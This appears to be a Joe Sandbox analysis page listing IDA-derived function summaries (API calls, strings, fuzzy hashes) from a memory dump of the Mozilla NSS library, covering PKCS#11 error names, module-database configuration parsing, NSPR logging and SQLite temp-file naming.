Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 3dcab86dcf261d2b4dc887514d97702cab3a1f82dac575f29e4e2ba17253b081
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 56E0923A202054A7DB148E09C460AA973DADF82719FB8807DCC6D9FA01D733F80387A5

Function 6C61CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c311e1401098cc30a1df3c437a51130739c937bb650265a5c62cd59fd94b9925
Instruction ID: 022a49cd63d4f59b9309fa10525104e97f8178c7f04f5e1c64e3fe758e7ee606
Opcode Fuzzy Hash: c311e1401098cc30a1df3c437a51130739c937bb650265a5c62cd59fd94b9925
Instruction Fuzzy Hash: 30C09238244708CFC704DF08E499DA53BF8FF0E61072400A4EA028B721EB71FC00DA80

Function 6C651D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C651D46), ref: 6C652345

Strings

CKR_OBJECT_HANDLE_INVALID, xrefs: 6C65204D
CKR_FUNCTION_REJECTED, xrefs: 6C652289
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C651F95
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C652319
CKR_NEW_PIN_MODE, xrefs: 6C651E9F
CKR_PIN_INVALID, xrefs: 6C652057
CKR_RANDOM_NO_RNG, xrefs: 6C6522A7
CKR_DEVICE_ERROR, xrefs: 6C65229D
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C651F0F
CKR_FUNCTION_CANCELED, xrefs: 6C651E73
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C652327
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C65226B
CKR_PIN_EXPIRED, xrefs: 6C65206B
CKR_INFORMATION_SENSITIVE, xrefs: 6C6522B1
rv = %s, xrefs: 6C652340
CKR_BUFFER_TOO_SMALL, xrefs: 6C652183
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C652015
CKR_STATE_UNSAVEABLE, xrefs: 6C652037
CKR_DEVICE_MEMORY, xrefs: 6C651FF3
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C651F77
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C651FD7
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C652293, 6C65233F
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C65232E
CKR_PIN_INCORRECT, xrefs: 6C651D92
CKR_PIN_LEN_RANGE, xrefs: 6C652061
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C65218D
CKR_MUTEX_BAD, xrefs: 6C651F49
CKR_DEVICE_REMOVED, xrefs: 6C652261
CKR_SIGNATURE_INVALID, xrefs: 6C6520CF
CKR_TOKEN_NOT_PRESENT, xrefs: 6C651F81
CKR_SAVED_STATE_INVALID, xrefs: 6C651E56
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C652320
rv = 0x%x, xrefs: 6C652312
CKR_OPERATION_ACTIVE, xrefs: 6C6522B8
CKR_WRAPPED_KEY_INVALID, xrefs: 6C651FB5
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C651EE1
CKR_NEXT_OTP, xrefs: 6C65222F
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C652275
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C6522FF
CKR_PIN_LOCKED, xrefs: 6C652075
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C652179
CKR_MUTEX_NOT_LOCKED, xrefs: 6C652225
CKR_OK, xrefs: 6C651DFC
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C6520D9
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C65227F
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C651DE0
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C651F8B

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 5d0888341001df4b7b3fc46683cbc638da09f2a16c92535e2bc0619e89ffc5fb
Instruction ID: 8f32e11bcfd3598a07cc886d505e1021445af9c2efaaba6f41eb9857099f5064
Opcode Fuzzy Hash: 5d0888341001df4b7b3fc46683cbc638da09f2a16c92535e2bc0619e89ffc5fb
Instruction Fuzzy Hash: 1861242464D044C6E65C454ED2BE3AC2360BB13308FF4813BEB818EE51C695CAB6D6DF

Function 6C685DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C685E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C685E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C685E5C
free.MOZGLUE(00000000), ref: 6C685E7E
free.MOZGLUE(00000000), ref: 6C685E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C685EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C685EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C685ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C685EF0
free.MOZGLUE(00000000), ref: 6C685F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C685F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C685F5B
free.MOZGLUE(00000000), ref: 6C685F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C685FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C685FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C685FC4
free.MOZGLUE(00000000), ref: 6C685FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C685FE9
free.MOZGLUE(00000000), ref: 6C685FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C68600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C686027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C68605A
PR_smprintf.NSS3(6C75AAF9,00000000), ref: 6C68606A
free.MOZGLUE(00000000), ref: 6C68607C
free.MOZGLUE(00000000), ref: 6C68609A
free.MOZGLUE(00000000), ref: 6C6860B2
free.MOZGLUE(?), ref: 6C6860CE

Strings

secmod.db, xrefs: 6C685EA0
secmod=, xrefs: 6C685FB1
%s/%s, xrefs: 6C686055
readOnly, xrefs: 6C685E56
pkcs11.txt, xrefs: 6C685F47, 6C685F7C, 6C68603A, 6C686053
noModDB, xrefs: 6C685EEA
flags, xrefs: 6C685E3A, 6C685EC6, 6C685F30
configDir=, xrefs: 6C685F9D
forceSecmodChoice, xrefs: 6C685F55

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 9cea24b3b57ebedf595a9abf8cea83d7c38cffae57b877311993777e676fe463
Instruction ID: 0e9da966df7a5812927b7242f4b8cb0bdd3e891ba612a1fe2f1917f78ed79fdd
Opcode Fuzzy Hash: 9cea24b3b57ebedf595a9abf8cea83d7c38cffae57b877311993777e676fe463
Instruction Fuzzy Hash: 0E91F7F49062155BFF018F24DD85BAA3BA4AF0A34DF180061EC569BB42E731D915CBBE

Function 6C611D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C611DA3

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C611DB2

Part of subcall function 6C611240: TlsGetValue.KERNEL32(00000040,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611267
Part of subcall function 6C611240: EnterCriticalSection.KERNEL32(?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C61127C
Part of subcall function 6C611240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611291
Part of subcall function 6C611240: PR_Unlock.NSS3(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C6112A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C611DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C611E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C611EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C611ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C611EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C611F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C611F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C611F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C611F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C611F83
PR_SetLogFile.NSS3(00000000), ref: 6C611FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C611FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C611FCB
free.MOZGLUE(00000000), ref: 6C611FD2

Strings

Unable to create nspr log file '%s', xrefs: 6C611FB3
sync, xrefs: 6C611E46
, %n, xrefs: 6C611E6B
all, xrefs: 6C611F0E
NSPR_LOG_FILE, xrefs: 6C611F69
timestamp, xrefs: 6C611EC4
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C611E27
append, xrefs: 6C611EE6
NSPR_LOG_MODULES, xrefs: 6C611DAD
bufsize, xrefs: 6C611E9B

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 86cf5fa6faacee4d3a3320a395d115945c557fb552daaa3b132da2cdc668629b
Instruction ID: 4811b13b43384c5fdf25f0a31b7f6ee4cf8a4a665728249cf37365efb0bc74c2
Opcode Fuzzy Hash: 86cf5fa6faacee4d3a3320a395d115945c557fb552daaa3b132da2cdc668629b
Instruction Fuzzy Hash: D651ADB1E082599FDF00DBE8CD48B9E77B8AF1530AF180528E919DBA41E770D518CB99

Function 6C6F6E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C60F9C9,?,6C60F4DA,6C60F9C9,?,?,6C5D369A), ref: 6C5ACA7A
Part of subcall function 6C5ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5ACB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C5BBE66), ref: 6C6F6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C5BBE66), ref: 6C6F6E98
sqlite3_snprintf.NSS3(?,00000000,6C75AAF9,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C5BBE66), ref: 6C6F6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C5BBE66), ref: 6C6F6FA6
sqlite3_snprintf.NSS3(?,00000000,6C75AAF9,00000000,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C5BBE66), ref: 6C6F701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C5BBE66), ref: 6C6F7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C5BBE66), ref: 6C6F7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C5BBE66), ref: 6C6F70A0

Strings

winGetTempname2, xrefs: 6C6F70C4
winGetTempname5, xrefs: 6C6F7071
Psl, xrefs: 6C6F70A8
mz_etilqs_, xrefs: 6C6F6F18
winGetTempname1, xrefs: 6C6F708F
winGetTempname4, xrefs: 6C6F7046

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Psl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-3347618251
Opcode ID: a6e4b1736b0f306e8037e9cdc773f6fe5182f9fbaab3ae55b647dc975329d230
Instruction ID: f5108461a7ed39de5256cdbf60f723c7e184f247d7ff897033bcc60ce698cefd
Opcode Fuzzy Hash: a6e4b1736b0f306e8037e9cdc773f6fe5182f9fbaab3ae55b647dc975329d230
Instruction Fuzzy Hash: 4F517AB2A051216BE30096319C55FFF362B9FC3358F144538E82596BC2FB26D91F82DA

Function 6C658E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C658E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C658EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C658EB3

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C658EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C658EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C658F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C658F29
PR_LogPrint.NSS3(?,00000000), ref: 6C658F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C658F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C658F80
PR_LogPrint.NSS3(?,00000000), ref: 6C658F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C658FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C658FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C659047

Strings

pulWrappedKeyLen = 0x%p, xrefs: 6C658FC8
*pulWrappedKeyLen = 0x%x, xrefs: 6C659042
nsl, xrefs: 6C658FEC, 6C659023
C_WrapKey, xrefs: 6C658E71
pWrappedKey = 0x%p, xrefs: 6C658FAD
hSession = 0x%x, xrefs: 6C658E8E, 6C658E9E
hWrappingKey = 0x%x, xrefs: 6C658F01, 6C658F11
pMechanism = 0x%p, xrefs: 6C658EE0
(CK_INVALID_HANDLE), xrefs: 6C658EAC, 6C658F1F, 6C658F79
hKey = 0x%x, xrefs: 6C658F5B, 6C658F6B

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nsl
API String ID: 1003633598-3591424540
Opcode ID: 94df497a7af99bc9367a3261210ee80d4e3852bb70c4eaa3b9788495aa14974a
Instruction ID: b4d5b26f40407f5922d34bab574946ecb601708f9f34fa7e2316ee93d3c2118d
Opcode Fuzzy Hash: 94df497a7af99bc9367a3261210ee80d4e3852bb70c4eaa3b9788495aa14974a
Instruction Fuzzy Hash: 5C51FB31A52114AFDB009F10DE4CF9E7B76AB4B34DF644035F60867B22DB319929CB5A

Function 6C684FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000,00000000,00000001), ref: 6C685009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C685049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C68505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C685071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6850A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6850B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2), ref: 6C6850CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6850D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6850F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685153
free.MOZGLUE(?), ref: 6C68516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C68517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C685195

Strings

nss=, xrefs: 6C685083
library=, xrefs: 6C685043
parameters=, xrefs: 6C68506B
config=, xrefs: 6C68509B
name=, xrefs: 6C685057

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: d8de8b461157aa7b91d990211ae905b8b3ff21b15f69ee09b470efab7ca203a4
Instruction ID: 140e7bafc6b63eebe567afb9d2653a6b7618ece63f78fc8c17ab1880aba10e4a
Opcode Fuzzy Hash: d8de8b461157aa7b91d990211ae905b8b3ff21b15f69ee09b470efab7ca203a4
Instruction Fuzzy Hash: 2251C6B5A022155BFB01DF24DC45AEF37A8AF0A349F140031EC56E7B41EB25E919C7BA

Function 6C684C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684C5B
PR_smprintf.NSS3(6C75AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C684CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C684CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C684D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C674F51,00000000), ref: 6C684D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C684D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C684DA2
free.MOZGLUE(?), ref: 6C684DB9
free.MOZGLUE(00000000), ref: 6C684DCF

Strings

every, xrefs: 6C684CA1
rust, xrefs: 6C684D22
